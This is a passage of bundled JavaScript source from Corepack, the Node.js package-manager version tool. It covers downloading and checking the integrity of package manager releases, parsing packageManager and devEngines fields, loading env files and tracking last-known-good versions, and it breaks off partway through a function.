function getEndOfLine(content) {
  const matches = content.match(/\r?\n/g);
  if (matches === null)
    return import_os2.default.EOL;
  const crlf = matches.filter((nl) =&gt; nl === `\r
`).length;
  const lf = matches.length - crlf;
  return crlf &gt; lf ? `\r
` : `
`;
}
function normalizeLineEndings(originalContent, newContent) {
  return newContent.replace(/\r?\n/g, getEndOfLine(originalContent));
}
function getIndent(content) {
  const indentMatch = content.match(/^[ \t]+/m);
  if (indentMatch) {
    return indentMatch[0];
  } else {
    return `  `;
  }
}
function stripBOM(content) {
  if (content.charCodeAt(0) === 65279) {
    return content.slice(1);
  } else {
    return content;
  }
}
function readPackageJson(content) {
  return {
    data: JSON.parse(stripBOM(content) || `{}`),
    indent: getIndent(content)
  };
}

// sources/corepackUtils.ts
var YARN_SWITCH_REGEX = /[/\\]switch[/\\]bin[/\\]/;
function isYarnSwitchPath(p) {
  return YARN_SWITCH_REGEX.test(p);
}
function getRegistryFromPackageManagerSpec(spec) {
  return process.env.COREPACK_NPM_REGISTRY ? spec.npmRegistry ?? spec.registry : spec.registry;
}
async function fetchLatestStableVersion2(spec) {
  switch (spec.type) {
    case `npm`: {
      return await fetchLatestStableVersion(spec.package);
    }
    case `url`: {
      const data = await fetchAsJson(spec.url);
      return data[spec.fields.tags].stable;
    }
    default: {
      throw new Error(`Unsupported specification ${JSON.stringify(spec)}`);
    }
  }
}
async function fetchAvailableTags2(spec) {
  switch (spec.type) {
    case `npm`: {
      return await fetchAvailableTags(spec.package);
    }
    case `url`: {
      const data = await fetchAsJson(spec.url);
      return data[spec.fields.tags];
    }
    default: {
      throw new Error(`Unsupported specification ${JSON.stringify(spec)}`);
    }
  }
}
async function fetchAvailableVersions2(spec) {
  switch (spec.type) {
    case `npm`: {
      return await fetchAvailableVersions(spec.package);
    }
    case `url`: {
      const data = await fetchAsJson(spec.url);
      const field = data[spec.fields.versions];
      return Array.isArray(field) ? field : Object.keys(field);
    }
    default: {
      throw new Error(`Unsupported specification ${JSON.stringify(spec)}`);
    }
  }
}
async function findInstalledVersion(installTarget, descriptor) {
  const installFolder = import_path3.default.join(installTarget, descriptor.name);
  let cacheDirectory;
  try {
    cacheDirectory = await import_fs4.default.promises.opendir(installFolder);
  } catch (error) {
    if (isNodeError(error) &amp;&amp; error.code === `ENOENT`) {
      return null;
    } else {
      throw error;
    }
  }
  const range = new import_range.default(descriptor.range);
  let bestMatch = null;
  let maxSV = void 0;
  for await (const { name: name2 } of cacheDirectory) {
    if (name2.startsWith(`.`))
      continue;
    if (range.test(name2) &amp;&amp; maxSV?.compare(name2) !== 1) {
      bestMatch = name2;
      maxSV = new import_semver.default(bestMatch);
    }
  }
  return bestMatch;
}
function isSupportedPackageManagerDescriptor(descriptor) {
  return !URL.canParse(descriptor.range);
}
function isSupportedPackageManagerLocator(locator) {
  return !URL.canParse(locator.reference);
}
function parseURLReference(locator) {
  const { hash, href } = new URL(locator.reference);
  if (hash) {
    return {
      version: encodeURIComponent(href.slice(0, -hash.length)),
      build: hash.slice(1).split(`.`)
    };
  }
  return { version: encodeURIComponent(href), build: [] };
}
function isValidBinList(x) {
  return Array.isArray(x) &amp;&amp; x.length &gt; 0;
}
function isValidBinSpec(x) {
  return typeof x === `object` &amp;&amp; x !== null &amp;&amp; !Array.isArray(x) &amp;&amp; Object.keys(x).length &gt; 0;
}
async function download(installTarget, url, algo, binPath = null) {
  const tmpFolder = getTemporaryFolder(installTarget);
  log(`Downloading to ${tmpFolder}`);
  const stream = await fetchUrlStream(url);
  const parsedUrl = new URL(url);
  const ext = import_path3.default.posix.extname(parsedUrl.pathname);
  let outputFile = null;
  let sendTo;
  if (ext === `.tgz`) {
    const { extract: tarX } = await Promise.resolve().then(() =&gt; (init_extract(), extract_exports));
    sendTo = tarX({
      strip: 1,
      cwd: tmpFolder,
      filter: binPath ? (path16) =&gt; {
        const pos2 = path16.indexOf(`/`);
        return pos2 !== -1 &amp;&amp; path16.slice(pos2 + 1) === binPath;
      } : void 0
    });
  } else if (ext === `.js`) {
    outputFile = import_path3.default.join(tmpFolder, import_path3.default.posix.basename(parsedUrl.pathname));
    sendTo = import_fs4.default.createWriteStream(outputFile);
  }
  stream.pipe(sendTo);
  let hash = !binPath ? stream.pipe((0, import_crypto2.createHash)(algo)) : null;
  await (0, import_events4.once)(sendTo, `finish`);
  if (binPath) {
    const downloadedBin = import_path3.default.join(tmpFolder, binPath);
    outputFile = import_path3.default.join(tmpFolder, import_path3.default.basename(downloadedBin));
    try {
      await renameSafe(downloadedBin, outputFile);
    } catch (err) {
      if (isNodeError(err) &amp;&amp; err.code === `ENOENT`)
        throw new Error(`Cannot locate &#039;${binPath}&#039; in downloaded tarball`, { cause: err });
      if (isNodeError(err) &amp;&amp; isExistError(err)) {
        await import_fs4.default.promises.rm(downloadedBin);
      } else {
        throw err;
      }
    }
    const fileStream = import_fs4.default.createReadStream(outputFile);
    hash = fileStream.pipe((0, import_crypto2.createHash)(algo));
    await (0, import_events4.once)(fileStream, `close`);
  }
  return {
    tmpFolder,
    outputFile,
    hash: hash.digest(`hex`)
  };
}
async function installVersion(installTarget, locator, { spec }) {
  const locatorIsASupportedPackageManager = isSupportedPackageManagerLocator(locator);
  const locatorReference = locatorIsASupportedPackageManager ? (0, import_parse3.default)(locator.reference) : parseURLReference(locator);
  const { version, build } = locatorReference;
  const installFolder = import_path3.default.join(installTarget, locator.name, version);
  try {
    const corepackFile = import_path3.default.join(installFolder, `.corepack`);
    const corepackContent = await import_fs4.default.promises.readFile(corepackFile, `utf8`);
    const corepackData = JSON.parse(corepackContent);
    log(`Reusing ${locator.name}@${locator.reference} found in ${installFolder}`);
    return {
      hash: corepackData.hash,
      location: installFolder,
      bin: corepackData.bin
    };
  } catch (err) {
    if (isNodeError(err) &amp;&amp; err.code !== `ENOENT`) {
      throw err;
    }
  }
  const registry = getRegistryFromPackageManagerSpec(spec);
  const canVerifySignature = registry.type === `npm` &amp;&amp; !registry.bin &amp;&amp; !shouldSkipIntegrityCheck();
  if (!build[1]) {
    const { COREPACK_ON_UNVERIFIED_DOWNLOAD } = process.env;
    log(`No hash provided${canVerifySignature ? `` : `, and signature cannot be verified`}; checking COREPACK_ON_UNVERIFIED_DOWNLOAD, set to: ${COREPACK_ON_UNVERIFIED_DOWNLOAD}`);
    const mode = COREPACK_ON_UNVERIFIED_DOWNLOAD?.toUpperCase();
    const isStrict = mode === `STRICT-ERROR` || mode === `STRICT-WARN`;
    if (isStrict || !canVerifySignature) {
      const reason = canVerifySignature ? `is not pinned by a hash` : `could not be verified`;
      switch (mode) {
        case `ERROR`:
        case `STRICT-ERROR`:
          throw new Error(`Integrity of ${locator.name}@${version} ${reason}. Downloading unverified versions is disabled by the COREPACK_ON_UNVERIFIED_DOWNLOAD env variable. Please provide a hash.`);
        case `WARN`:
        case `STRICT-WARN`:
          console.warn(`Integrity of ${locator.name}@${version} ${reason}. Consider providing a hash. Set COREPACK_ON_UNVERIFIED_DOWNLOAD to &#039;ignore&#039; to remove this warning.`);
      }
    }
  }
  let url;
  let signatures;
  let integrity;
  let binPath = null;
  if (locatorIsASupportedPackageManager) {
    url = spec.url.replace(`{}`, version);
    if (process.env.COREPACK_NPM_REGISTRY) {
      if (registry.type === `npm`) {
        ({ tarball: url, signatures, integrity } = await fetchTarballURLAndSignature(registry.package, version));
        if (registry.bin) {
          binPath = registry.bin;
        }
      }
      url = url.replace(
        DEFAULT_NPM_REGISTRY_URL,
        () =&gt; process.env.COREPACK_NPM_REGISTRY
      );
    }
  } else {
    url = decodeURIComponent(version);
    if (process.env.COREPACK_NPM_REGISTRY &amp;&amp; url.startsWith(DEFAULT_NPM_REGISTRY_URL)) {
      url = url.replace(
        DEFAULT_NPM_REGISTRY_URL,
        () =&gt; process.env.COREPACK_NPM_REGISTRY
      );
    }
  }
  log(`Installing ${locator.name}@${version} from ${url}`);
  const algo = build[0] ?? `sha512`;
  const { tmpFolder, outputFile, hash: actualHash } = await download(installTarget, url, algo, binPath);
  let bin;
  const isSingleFile = outputFile !== null;
  if (isSingleFile) {
    if (locatorIsASupportedPackageManager &amp;&amp; isValidBinList(spec.bin)) {
      bin = spec.bin;
    } else {
      bin = [locator.name];
    }
  } else {
    if (locatorIsASupportedPackageManager &amp;&amp; isValidBinSpec(spec.bin)) {
      bin = spec.bin;
    } else {
      const { name: packageName, bin: packageBin } = require(import_path3.default.join(tmpFolder, `package.json`));
      if (typeof packageBin === `string`) {
        bin = { [packageName]: packageBin };
      } else if (isValidBinSpec(packageBin)) {
        bin = packageBin;
      } else {
        throw new Error(`Unable to locate bin in package.json`);
      }
    }
  }
  if (!build[1] &amp;&amp; canVerifySignature &amp;&amp; registry.type === `npm`) {
    if (signatures == null || integrity == null)
      ({ signatures, integrity } = await fetchTarballURLAndSignature(registry.package, version));
    verifySignature({ signatures, integrity, packageName: registry.package, version });
    build[1] = Buffer.from(integrity.slice(`sha512-`.length), `base64`).toString(`hex`);
  }
  if (build[1] &amp;&amp; actualHash !== build[1]) {
    await import_fs4.default.promises.rm(tmpFolder, { recursive: true, force: true });
    throw new Error(`Mismatch hashes. Expected ${build[1]}, got ${actualHash}`);
  }
  const serializedHash = `${algo}.${actualHash}`;
  await import_fs4.default.promises.writeFile(import_path3.default.join(tmpFolder, `.corepack`), JSON.stringify({
    locator,
    bin,
    hash: serializedHash
  }));
  await import_fs4.default.promises.mkdir(import_path3.default.dirname(installFolder), { recursive: true });
  try {
    await renameSafe(tmpFolder, installFolder);
  } catch (err) {
    if (isNodeError(err) &amp;&amp; (isExistError(err) || // On Windows the error code is EPERM so we check if it is a directory
    err.code === `EPERM` &amp;&amp; (await import_fs4.default.promises.stat(installFolder)).isDirectory())) {
      log(`Another instance of corepack installed ${locator.name}@${locator.reference}`);
      await import_fs4.default.promises.rm(tmpFolder, { recursive: true, force: true });
    } else {
      throw err;
    }
  }
  if (locatorIsASupportedPackageManager &amp;&amp; process.env.COREPACK_DEFAULT_TO_LATEST !== `0`) {
    const lastKnownGood = await getLastKnownGood();
    const defaultVersion = getLastKnownGoodFromFileContent(lastKnownGood, locator.name);
    if (defaultVersion) {
      const currentDefault = (0, import_parse3.default)(defaultVersion);
      const downloadedVersion = locatorReference;
      if (currentDefault.major === downloadedVersion.major &amp;&amp; (0, import_lt.default)(currentDefault, downloadedVersion)) {
        await activatePackageManager(lastKnownGood, locator);
      }
    }
  }
  log(`Download and install of ${locator.name}@${locator.reference} is finished`);
  return {
    location: installFolder,
    bin,
    hash: serializedHash
  };
}
async function renameSafe(oldPath, newPath) {
  if (process.platform === `win32`) {
    await renameUnderWindows(oldPath, newPath);
  } else {
    await import_fs4.default.promises.rename(oldPath, newPath);
  }
}
async function renameUnderWindows(oldPath, newPath) {
  const retries = 5;
  for (let i = 0; i &lt; retries; i++) {
    try {
      await import_fs4.default.promises.rename(oldPath, newPath);
      break;
    } catch (err) {
      if (isNodeError(err) &amp;&amp; (err.code === `ENOENT` || err.code === `EPERM`) &amp;&amp; i &lt; retries - 1) {
        await (0, import_promises2.setTimeout)(100 * 2 ** i);
        continue;
      } else {
        throw err;
      }
    }
  }
}
async function runVersion(locator, installSpec, binName, args) {
  let binPath = null;
  const bin = installSpec.bin ?? installSpec.spec.bin;
  if (Array.isArray(bin)) {
    if (bin.some((name2) =&gt; name2 === binName)) {
      const parsedUrl = new URL(installSpec.spec.url);
      const ext = import_path3.default.posix.extname(parsedUrl.pathname);
      if (ext === `.js`) {
        binPath = import_path3.default.join(installSpec.location, import_path3.default.posix.basename(parsedUrl.pathname));
      }
    }
  } else {
    for (const [name2, dest] of Object.entries(bin)) {
      if (name2 === binName) {
        binPath = import_path3.default.join(installSpec.location, dest);
        break;
      }
    }
  }
  if (!binPath)
    throw new Error(`Assertion failed: Unable to locate path for bin &#039;${binName}&#039;`);
  if (!import_module.default.enableCompileCache) {
    if (locator.name !== `npm` || (0, import_lt.default)(locator.reference, `9.7.0`)) {
      await Promise.resolve().then(() =&gt; __toESM(require_v8_compile_cache()));
    }
  }
  process.env.COREPACK_ROOT = import_path3.default.dirname(require.resolve(&quot;corepack/package.json&quot;));
  process.argv = [
    process.execPath,
    binPath,
    ...args
  ];
  process.execArgv = [];
  process.mainModule = void 0;
  process.nextTick(import_module.default.runMain, binPath);
  if (import_module.default.flushCompileCache) {
    setImmediate(import_module.default.flushCompileCache);
  }
}
function shouldSkipIntegrityCheck() {
  return process.env.COREPACK_INTEGRITY_KEYS === `` || process.env.COREPACK_INTEGRITY_KEYS === `0`;
}

// sources/semverUtils.ts
var import_range2 = __toESM(require_range());
var import_semver2 = __toESM(require_semver());
function satisfiesWithPrereleases(version, range, loose = false) {
  let semverRange;
  try {
    semverRange = new import_range2.default(range, loose);
  } catch (err) {
    return false;
  }
  if (!version)
    return false;
  let semverVersion;
  try {
    semverVersion = new import_semver2.default(version, semverRange.loose);
    if (semverVersion.prerelease) {
      semverVersion.prerelease = [];
    }
  } catch (err) {
    return false;
  }
  return semverRange.set.some((comparatorSet) =&gt; {
    for (const comparator of comparatorSet)
      if (comparator.semver.prerelease)
        comparator.semver.prerelease = [];
    return comparatorSet.every((comparator) =&gt; {
      return comparator.test(semverVersion);
    });
  });
}

// sources/specUtils.ts
var import_clipanion4 = __toESM(require_advanced());
var import_fs5 = __toESM(require(&quot;fs&quot;));
var import_path4 = __toESM(require(&quot;path&quot;));
var import_satisfies = __toESM(require_satisfies());
var import_valid = __toESM(require_valid());
var import_valid2 = __toESM(require_valid2());
var import_util = require(&quot;util&quot;);

// sources/types.ts
var supportedPackageManagersList = [`npm`, `pnpm`, `yarn`];
var SupportedPackageManagerSet = new Set(
  supportedPackageManagersList
);
var SupportedPackageManagerSetWithoutNpm = new Set(
  supportedPackageManagersList.filter((pm) =&gt; pm !== `npm`)
);
function isSupportedPackageManager(value) {
  return SupportedPackageManagerSet.has(value);
}

// sources/specUtils.ts
var nodeModulesRegExp = /[\\/]node_modules[\\/](@[^\\/]*[\\/])?([^@\\/][^\\/]*)$/;
function parseSpec(raw2, source, { enforceExactVersion = true } = {}) {
  if (typeof raw2 !== `string`)
    throw new import_clipanion4.UsageError(`Invalid package manager specification in ${source}; expected a string`);
  const atIndex = raw2.indexOf(`@`);
  if (atIndex === -1 || atIndex === raw2.length - 1) {
    if (enforceExactVersion)
      throw new import_clipanion4.UsageError(`No version specified for ${raw2} in &quot;packageManager&quot; of ${source}`);
    const name3 = atIndex === -1 ? raw2 : raw2.slice(0, -1);
    if (!isSupportedPackageManager(name3))
      throw new import_clipanion4.UsageError(`Unsupported package manager specification (${name3})`);
    return {
      name: name3,
      range: `*`
    };
  }
  const name2 = raw2.slice(0, atIndex);
  const range = raw2.slice(atIndex + 1);
  const isURL = URL.canParse(range);
  if (!isURL) {
    if (enforceExactVersion &amp;&amp; !(0, import_valid.default)(range))
      throw new import_clipanion4.UsageError(`Invalid package manager specification in ${source} (${raw2}); expected a semver version${enforceExactVersion ? `` : `, range, or tag`}`);
    if (!isSupportedPackageManager(name2)) {
      throw new import_clipanion4.UsageError(`Unsupported package manager specification (${raw2})`);
    }
  } else if (isSupportedPackageManager(name2) &amp;&amp; process.env.COREPACK_ENABLE_UNSAFE_CUSTOM_URLS !== `1`) {
    throw new import_clipanion4.UsageError(`Illegal use of URL for known package manager. Instead, select a specific version, or set COREPACK_ENABLE_UNSAFE_CUSTOM_URLS=1 in your environment (${raw2})`);
  }
  return {
    name: name2,
    range
  };
}
function devEnginesToDescriptor({ name: name2, version }) {
  return { name: name2, range: version ?? `*` };
}
function warnOrThrow(errorMessage, onFail) {
  switch (onFail) {
    case `ignore`:
      break;
    case `error`:
    case void 0:
      throw new import_clipanion4.UsageError(errorMessage);
    default:
      console.warn(`! Corepack validation warning: ${errorMessage}`);
  }
}
function parsePackageJSON(packageJSONContent) {
  const { packageManager: pm } = packageJSONContent;
  if (packageJSONContent.devEngines?.packageManager != null) {
    const { packageManager } = packageJSONContent.devEngines;
    if (typeof packageManager !== `object`) {
      console.warn(`! Corepack only supports objects as valid value for devEngines.packageManager. The current value (${JSON.stringify(packageManager)}) will be ignored.`);
      return { packageManagerField: pm };
    }
    if (Array.isArray(packageManager)) {
      console.warn(`! Corepack does not currently support array values for devEngines.packageManager`);
      return { packageManagerField: pm };
    }
    const { name: name2, version, onFail } = packageManager;
    if (typeof name2 !== `string` || name2.includes(`@`)) {
      warnOrThrow(`The value of devEngines.packageManager.name ${JSON.stringify(name2)} is not a supported string value`, onFail);
      return { packageManagerField: pm };
    }
    if (version != null &amp;&amp; (typeof version !== `string` || !(0, import_valid2.default)(version))) {
      warnOrThrow(`The value of devEngines.packageManager.version ${JSON.stringify(version)} is not a valid semver range`, onFail);
      return { packageManagerField: pm };
    }
    log(`devEngines.packageManager defines that ${name2}${version ? `@${version}` : ``} should be the local package manager`);
    if (pm) {
      if (!pm.startsWith?.(`${name2}@`)) {
        warnOrThrow(`&quot;packageManager&quot; field is set to ${JSON.stringify(pm)} which does not match the &quot;devEngines.packageManager&quot; field set to ${JSON.stringify(name2)}`, onFail);
      } else if (version != null &amp;&amp; !(0, import_satisfies.default)(pm.slice(name2.length + 1), version)) {
        warnOrThrow(`&quot;packageManager&quot; field is set to ${JSON.stringify(pm)} which does not match the value defined in &quot;devEngines.packageManager&quot; for ${JSON.stringify(name2)} of ${JSON.stringify(version)}`, onFail);
      }
    }
    return { packageManagerField: pm, devEnginesPackageManager: { name: name2, version, onFail } };
  }
  return { packageManagerField: pm };
}
async function setLocalPackageManager(cwd, info) {
  const lookup = await loadSpecAndEnv(cwd);
  const projectFound = lookup.type !== `NoProject`;
  const devEnginesValue = projectFound ? lookup.devEnginesValue : void 0;
  if (devEnginesValue) {
    if (info.locator.name !== devEnginesValue.name || devEnginesValue.version != null &amp;&amp; !(0, import_satisfies.default)(info.locator.reference, devEnginesValue.version)) {
      warnOrThrow(`The requested version of ${info.locator.name}@${info.locator.reference} does not match the devEngines specification (${devEnginesValue.name}@${devEnginesValue.version ?? `*`})`, devEnginesValue.onFail);
    }
  }
  const content = projectFound ? await import_fs5.default.promises.readFile(lookup.target, `utf8`) : ``;
  const { data, indent } = readPackageJson(content);
  const previousPackageManager = data.packageManager ?? (devEnginesValue ? `${devEnginesValue.name}@${devEnginesValue.version ?? `*`}` : `unknown`);
  data.packageManager = `${info.locator.name}@${info.locator.reference}`;
  const newContent = normalizeLineEndings(content, `${JSON.stringify(data, null, indent)}
`);
  await import_fs5.default.promises.writeFile(lookup.target, newContent, `utf8`);
  return {
    previousPackageManager
  };
}
async function loadEnvFileIfExists(cwd) {
  const envFilePath = import_path4.default.resolve(cwd, process.env.COREPACK_ENV_FILE ?? `.corepack.env`);
  if (process.env.COREPACK_ENV_FILE == `0`) {
    log(`Skipping env file as configured with COREPACK_ENV_FILE`);
    return void 0;
  }
  log(`Checking ${envFilePath}`);
  try {
    const localEnv = {
      ...Object.fromEntries(Object.entries((0, import_util.parseEnv)(await import_fs5.default.promises.readFile(envFilePath, `utf8`))).filter((e) =&gt; e[0].startsWith(`COREPACK_`))),
      ...process.env
    };
    log(`Successfully loaded env file found at ${envFilePath}`);
    return { env: localEnv, path: envFilePath };
  } catch (err) {
    if (err?.code !== `ENOENT`)
      throw err;
    log(`No env file found at ${envFilePath}`);
  }
  return void 0;
}
async function loadSpecAndEnv(initialCwd, { envOnly } = { envOnly: false }) {
  let nextCwd = initialCwd;
  let currCwd = ``;
  let selection = null;
  let localEnv = void 0;
  while (nextCwd !== currCwd &amp;&amp; (!selection || !selection.data.packageManager)) {
    currCwd = nextCwd;
    nextCwd = import_path4.default.dirname(currCwd);
    if (nodeModulesRegExp.test(currCwd))
      continue;
    if (process.env.COREPACK_ENV_FILE !== `0` &amp;&amp; !localEnv)
      localEnv = await loadEnvFileIfExists(currCwd);
    if (envOnly) {
      if (localEnv) break;
      continue;
    }
    const manifestPath = import_path4.default.join(currCwd, `package.json`);
    log(`Checking ${manifestPath}`);
    let content;
    try {
      content = await import_fs5.default.promises.readFile(manifestPath, `utf8`);
    } catch (err) {
      if (err?.code === `ENOENT`) continue;
      throw err;
    }
    let data;
    try {
      data = JSON.parse(content);
    } catch {
    }
    if (typeof data !== `object` || data === null)
      throw new import_clipanion4.UsageError(`Invalid package.json in ${import_path4.default.relative(currCwd, manifestPath)}`);
    selection = { data, manifestPath };
  }
  if (localEnv)
    process.env = localEnv.env;
  if (selection === null)
    return { type: `NoProject`, target: import_path4.default.join(initialCwd, `package.json`), envFilePath: localEnv?.path };
  const { packageManagerField, devEnginesPackageManager } = parsePackageJSON(selection.data);
  if (devEnginesPackageManager != null &amp;&amp; !packageManagerField) {
    const { name: name2, version } = devEnginesPackageManager;
    if (!version || !(0, import_valid.default)(version)) {
      log(`${selection.manifestPath} defines ${name2} as local package manager using devEngines.packageManager, without an exact version`);
      return { type: `NoSpec`, target: selection.manifestPath, envFilePath: localEnv?.path, devEnginesValue: devEnginesPackageManager };
    }
    log(`${selection.manifestPath} defines ${name2}@${version} as local package manager using devEngines.packageManager`);
    return {
      type: `Found`,
      target: selection.manifestPath,
      field: `devEngines.packageManager`,
      envFilePath: localEnv?.path,
      devEnginesValue: devEnginesPackageManager,
      // Lazy-loading it so we do not throw errors on commands that do not need valid spec.
      getSpec: ({ enforceExactVersion = true } = {}) =&gt; parseSpec(`${name2}@${version}`, import_path4.default.relative(initialCwd, selection.manifestPath), { enforceExactVersion })
    };
  }
  if (packageManagerField === void 0)
    return { type: `NoSpec`, target: selection.manifestPath, envFilePath: localEnv?.path };
  log(`${selection.manifestPath} defines ${packageManagerField} as local package manager using the packageManager field`);
  return {
    type: `Found`,
    target: selection.manifestPath,
    field: `packageManager`,
    envFilePath: localEnv?.path,
    devEnginesValue: devEnginesPackageManager,
    // Lazy-loading it so we do not throw errors on commands that do not need valid spec.
    getSpec: ({ enforceExactVersion = true } = {}) =&gt; parseSpec(packageManagerField, import_path4.default.relative(initialCwd, selection.manifestPath), { enforceExactVersion })
  };
}

// sources/Engine.ts
function getLastKnownGoodFilePath() {
  const lkg = import_path5.default.join(getCorepackHomeFolder(), `lastKnownGood.json`);
  log(`LastKnownGood file would be located at ${lkg}`);
  return lkg;
}
async function getLastKnownGood() {
  let raw2;
  try {
    raw2 = await import_fs6.default.promises.readFile(getLastKnownGoodFilePath(), `utf8`);
  } catch (err) {
    if (err?.code === `ENOENT`) {
      log(`No LastKnownGood version found in Corepack home.`);
      return {};
    }
    throw err;
  }
  try {
    const parsed = JSON.parse(raw2);
    if (!parsed) {
      log(`Invalid LastKnowGood file in Corepack home (JSON parsable, but falsy)`);
      return {};
    }
    if (typeof parsed !== `object`) {
      log(`Invalid LastKnowGood file in Corepack home (JSON parsable, but non-object)`);
      return {};
    }
    Object.entries(parsed).forEach(([key, value]) =&gt; {
      if (typeof value !== `string`) {
        log(`Ignoring key ${key} in LastKnownGood file as its value is not a string`);
        delete parsed[key];
      }
    });
    return parsed;
  } catch {
    log(`Invalid LastKnowGood file in Corepack home (maybe not JSON parsable)`);
    return {};
  }
}
async function createLastKnownGoodFile(lastKnownGood) {
  const content = `${JSON.stringify(lastKnownGood, null, 2)}
`;
  await import_fs6.default.promises.mkdir(getCorepackHomeFolder(), { recursive: true });
  await import_fs6.default.promises.writeFile(getLastKnownGoodFilePath(), content, `utf8`);
}
function getLastKnownGoodFromFileContent(lastKnownGood, packageManager) {
  if (Object.hasOwn(lastKnownGood, packageManager))
    return lastKnownGood[packageManager];
  return void 0;
}
async function activatePackageManager(lastKnownGood, locator) {
  if (lastKnownGood[locator.name] === locator.reference) {
    log(`${locator.name}@${locator.reference} is already Last Known Good version`);
    return;
  }
  lastKnownGood[locator.name] = locator.reference;
  log(`Setting ${locator.name}@${locator.reference} as Last Known Good version`);
  await createLastKnownGoodFile(lastKnownGood);
}
var Engine = class {
  config;
  constructor(config = config_default) {
    this.config = config;
  }
  getPackageManagerFor(binaryName) {
    for (const packageManager of SupportedPackageManagerSet) {
      for (const rangeDefinition of Object.values(this.config.definitions[packageManager].ranges)) {
        const bins = Array.isArray(rangeDefinition.bin) ? rangeDefinition.bin : Object.keys(rangeDefinition.bin);
        if (bins.includes(binaryName)) {
          return packageManager;
        }
      }
    }
    return null;
  }
  getPackageManagerSpecFor(locator) {
    if (!isSupportedPackageManagerLocator(locator)) {
      const url = `${locator.reference}`;
      return {
        url,
        bin: void 0,
        // bin will be set later
        registry: {
          type: `url`,
          url,
          fields: {
            tags: ``,
            versions: ``
          }
        }
      };
    }
    const definition = this.config.definitions[locator.name];
    if (typeof definition === `undefined`)
      throw new import_clipanion5.UsageError(`This package manager (${locator.name}) isn&#039;t supported by this corepack build`);
    const ranges = Object.keys(definition.ranges).reverse();
    const range = ranges.find((range2) =&gt; satisfiesWithPrereleases(locator.reference, range2));
    if (typeof range === `undefined`)
      throw new Error(`Assertion failed: Specified resolution (${locator.reference}) isn&#039;t supported by any of ${ranges.join(`, `)}`);
    return definition.ranges[range];
  }
  getBinariesFor(name2) {
    const binNames = /* @__PURE__ */ new Set();
    for (const rangeDefinition of Object.values(this.config.definitions[name2].ranges)) {
      const bins = Array.isArray(rangeDefinition.bin) ? rangeDefinition.bin : Object.keys(rangeDefinition.bin);
      for (const name3 of bins) {
        binNames.add(name3);
      }
    }
    return binNames;
  }
  async getDefaultDescriptors() {
    const locators = [];
    for (const name2 of SupportedPackageManagerSet)
      locators.push({ name: name2, range: await this.getDefaultVersion(name2) });
    return locators;
  }
  async getDefaultVersion(packageManager) {
    const definition = this.config.definitions[packageManager];
    if (typeof definition === `undefined`)
      throw new import_clipanion5.UsageError(`This package manager (${packageManager}) isn&#039;t supported by this corepack build`);
    const lastKnownGood = await getLastKnownGood();
    const lastKnownGoodForThisPackageManager = getLastKnownGoodFromFileContent(lastKnownGood, packageManager);
    if (lastKnownGoodForThisPackageManager) {
      log(`Search for default version: Found ${packageManager}@${lastKnownGoodForThisPackageManager} in LastKnownGood file`);
      return lastKnownGoodForThisPackageManager;
    }
    if (import_process3.default.env.COREPACK_DEFAULT_TO_LATEST === `0`) {
      log(`Search for default version: As defined in environment, defaulting to internal config ${packageManager}@${definition.default}`);
      return definition.default;
    }
    const reference = await fetchLatestStableVersion2(definition.fetchLatestFrom);
    log(`Search for default version: found in remote registry ${packageManager}@${reference}`);
    try {
      await activatePackageManager(lastKnownGood, {
        name: packageManager,
        reference
      });
    } catch {
      log(`Search for default version: could not activate registry version`);
    }
    return reference;
  }
  async activatePackageManager(locator) {
    const lastKnownGood = await getLastKnownGood();
    await activatePackageManager(lastKnownGood, locator);
  }
  async ensurePackageManager(locator) {
    const spec = this.getPackageManagerSpecFor(locator);
    const packageManagerInfo = await installVersion(getInstallFolder(), locator, {
      spec
    });
    const noHashReference = locator.reference.replace(/\+.*/, ``);
    const fixedHashReference = `${noHashReference}+${packageManagerInfo.hash}`;
    const fixedHashLocator = {
      name: locator.name,
      reference: fixedHashReference
    };
    return {
      ...packageManagerInfo,
      locator: fixedHashLocator,
      spec
    };
  }
  /**
   * Locates the active project&#039;s package manager specification.
   *
   * If the specification exists but doesn&#039;t match the active package manager,
   * an error is thrown to prevent users from using the wrong package manager,
   * which would lead to inconsistent project layouts.
   *
   * If the project doesn&#039;t include a specification file, we just assume that
   * whatever the user uses is exactly what they want to use. Since the version
   * isn&#039;t specified, we fallback on known good versions.
   *
   * Finally, if the project doesn&#039;t exist at all, we ask the user whether they
   * want to create one in the current project. If they do, we initialize a new
   * project using the default package managers, and configure it so that we
   * don&#039;t need to ask again in the future.
   */
  async findProjectSpec(initialCwd, locator, { transparent = false, binaryVersion } = {}) {
    const fallbackDescriptor = { name: locator.name, range: `${locator.reference}` };
    if (import_process3.default.env.COREPACK_ENABLE_PROJECT_SPEC === `0`) {
      if (typeof locator.reference === `function`)
        fallbackDescriptor.range = await locator.reference();
      return fallbackDescriptor;
    }
    if (import_process3.default.env.COREPACK_ENABLE_STRICT === `0`)
      transparent = true;
    while (true) {
      const result = await loadSpecAndEnv(initialCwd);
      switch (result.type) {
        case `NoProject`: {
          if (typeof locator.reference === `function`)
            fallbackDescriptor.range = await locator.reference();
          log(`Falling back to ${fallbackDescriptor.name}@${fallbackDescriptor.range} as no project manifest were found`);
          return fallbackDescriptor;
        }
        case `NoSpec`: {
          const { devEnginesValue } = result;
          const nameMatches = devEnginesValue != null &amp;&amp; devEnginesValue.name === fallbackDescriptor.name;
          if (devEnginesValue != null &amp;&amp; !nameMatches &amp;&amp; !transparent)
            warnOrThrow(`This project is configured to use ${devEnginesValue.name} because ${result.target} has a &quot;devEngines.packageManager&quot; field`, devEnginesValue.onFail);
          if (nameMatches &amp;&amp; devEnginesValue.version)
            fallbackDescriptor.range = devEnginesValue.version;
          else if (typeof locator.reference === `function`)
            fallbackDescriptor.range = await locator.reference();
          if (import_process3.default.env.COREPACK_ENABLE_AUTO_PIN === `1`) {
            const resolved = await this.resolveDescriptor(fallbackDescriptor, { allowTags: true });
            if (resolved === null)
              throw new import_clipanion5.UsageError(`Failed to successfully resolve &#039;${fallbackDescriptor.range}&#039; to a valid ${fallbackDescriptor.name} release`);
            const installSpec = await this.ensurePackageManager(resolved);
            console.error(`! The local project doesn&#039;t define a &#039;packageManager&#039; field. Corepack will now add one referencing ${installSpec.locator.name}@${installSpec.locator.reference}.`);
            console.error(`! For more details about this field, consult the documentation at https://nodejs.org/api/packages.html#packagemanager`);
            console.error();
            await setLocalPackageManager(import_path5.default.dirname(result.target), installSpec);
          }
          log(`Falling back to ${fallbackDescriptor.name}@${fallbackDescriptor.range} in the absence of &quot;packageManager&quot; field in ${result.target}`);
          return fallbackDescriptor;
        }
        case `Found`: {
          const spec = result.getSpec({ enforceExactVersion: !binaryVersion });
          if (spec.name !== locator.name) {
